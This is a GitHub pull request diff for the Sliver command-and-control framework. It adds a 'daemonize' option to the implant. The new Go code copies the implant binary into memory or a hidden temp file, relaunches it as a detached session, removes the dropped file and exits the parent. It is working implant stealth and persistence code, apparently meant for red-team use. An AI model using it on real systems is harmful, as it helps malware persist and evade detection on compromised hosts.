Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Daemon #551

Open
wants to merge 7 commits into
base: stage
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions client/command/commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -1208,6 +1208,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")

f.Bool("D", "daemonize", false, "daemonize implant on start")

f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
Expand Down
7 changes: 7 additions & 0 deletions client/command/generate/generate.go
Original file line number Diff line number Diff line change
Expand Up @@ -276,6 +276,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
configFormat = clientpb.OutputFormat_EXECUTABLE
}

isDaemon := bool(ctx.Flags.Bool("daemonize"))

targetOS := strings.ToLower(ctx.Flags.String("os"))
targetArch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, targetArch = getTargets(targetOS, targetArch, con)
Expand All @@ -286,6 +288,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
}
if isDaemon && targetOS == "windows" {
con.PrintErrorf("Daemon cannot be used in Windows.")
return nil
}

// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
Expand Down Expand Up @@ -331,6 +337,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
IsDaemon: isDaemon,
}

return config
Expand Down
1 change: 1 addition & 0 deletions client/command/info/info.go
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" IsDaemon: %s%v\n", console.Normal, session.IsDaemon)

} else if beacon != nil {

Expand Down
3 changes: 3 additions & 0 deletions client/command/shell/shell.go
Original file line number Diff line number Diff line change
Expand Up @@ -56,6 +56,9 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
if con.ActiveTarget.GetSession().IsDaemon {
noPty = true // Daemon's are unable to spawn PTYs
}
runInteractive(ctx, shellPath, noPty, con)
con.Println("Shell exited")
}
Expand Down
69 changes: 69 additions & 0 deletions implant/sliver/daemon/daemon.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
// +build !windows

package daemon

import (
// {{if.Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"os"
"syscall"
"time"
)

func Daemonize() {
// {{if .Config.Debug}}
log.Println("Daemonizing")
// {{end}}
c, _ := syscall.Read(0, nil)
if c == -1 {
return
}
var ex []byte
px, err := os.Executable()
if err != nil {
ex, err = os.ReadFile("/proc/self/exe")
if err != nil {
return
}
} else {
ex, err = os.ReadFile(string(px))
if err != nil {
return
}
}
file, err := taskrunner.SideloadFile(ex)
if err != nil {
return
}

// {{if .Config.Debug}}
log.Printf("SideLoaded File: %s\n", file)
// {{end}}

attr := &os.ProcAttr{
Dir: "/",
Env: os.Environ(),
Files: []*os.File{nil, nil, nil},
Sys: &syscall.SysProcAttr{
Setsid: true,
},
}
child, err := os.StartProcess(file, os.Args, attr)
if err != nil {
return
}

// {{if .Config.Debug}}
log.Printf("Child: ", child, "\n")
// {{end}}

child.Release()
// Time for OS to load
time.Sleep(200 * time.Millisecond)
_ = os.Remove(file)
os.Exit(0)

return
}
15 changes: 13 additions & 2 deletions implant/sliver/sliver.go
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,9 @@ import (
// {{if .Config.IsService}}
"golang.org/x/sys/windows/svc"
// {{end}}
// {{if .Config.IsDaemon}}
"github.com/bishopfox/sliver/implant/sliver/daemon"
// {{end}}
)

var (
Expand Down Expand Up @@ -180,7 +183,6 @@ func DllUnregisterServer() { main() }
// {{end}}

func main() {

// {{if .Config.Debug}}
log.SetFlags(log.LstdFlags | log.Lshortfile)
// {{else}}
Expand All @@ -194,6 +196,10 @@ func main() {

limits.ExecLimits() // Check to see if we should execute

// {{if .Config.IsDaemon}}
daemon.Daemonize()
// {{end}}

// {{if .Config.IsService}}
svc.Run("", &sliverService{})
// {{else}}
Expand Down Expand Up @@ -678,6 +684,11 @@ func registerSliver() *sliverpb.Register {
Filename: filename,
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
// {{if .Config.IsDaemon}}
IsDaemon: true,
// {{else}}
IsDaemon: false,
// {{end}}
PeerID: pivots.MyPeerID,
}
}
18 changes: 16 additions & 2 deletions implant/sliver/taskrunner/task_darwin.go
Original file line number Diff line number Diff line change
Expand Up @@ -57,15 +57,29 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
return nil
}

// SideloadFile - Create a file for use with Sideload
func SideloadFile(data []byte) (string, error) {
fd, err := ioutil.TempFile("", "."+randomString(10))
if err != nil {
return "", err
}
err = fd.Chmod(0775)
if err != nil {
return "", err
}
fdPath := fd.Name()
_, err = fd.Write(data)
return fdPath, err
}

// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
var (
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
)
fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
err := ioutil.WriteFile(fdPath, data, 0755)
fdPath, err := SideloadFile(data)
if err != nil {
return "", err
}
Expand Down
25 changes: 17 additions & 8 deletions implant/sliver/taskrunner/task_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -55,14 +55,9 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
return nil
}

// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
var (
nrMemfdCreate int
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
)
// SideloadFile - Create a file for use with Sideload
func SideloadFile(data []byte) (string, error) {
var nrMemfdCreate int
memfdName := randomString(8)
memfd, err := syscall.BytePtrFromString(memfdName)
if err != nil {
Expand All @@ -89,6 +84,20 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
//{{if .Config.Debug}}
log.Printf("Data written in %s\n", fdPath)
//{{end}}
return fdPath, nil
}

// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
var (
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
)
fdPath, err := SideloadFile(data)
if err != nil {
return "", err
}
env := os.Environ()
newEnv := []string{
fmt.Sprintf("LD_PARAMS=%s", args),
Expand Down
Loading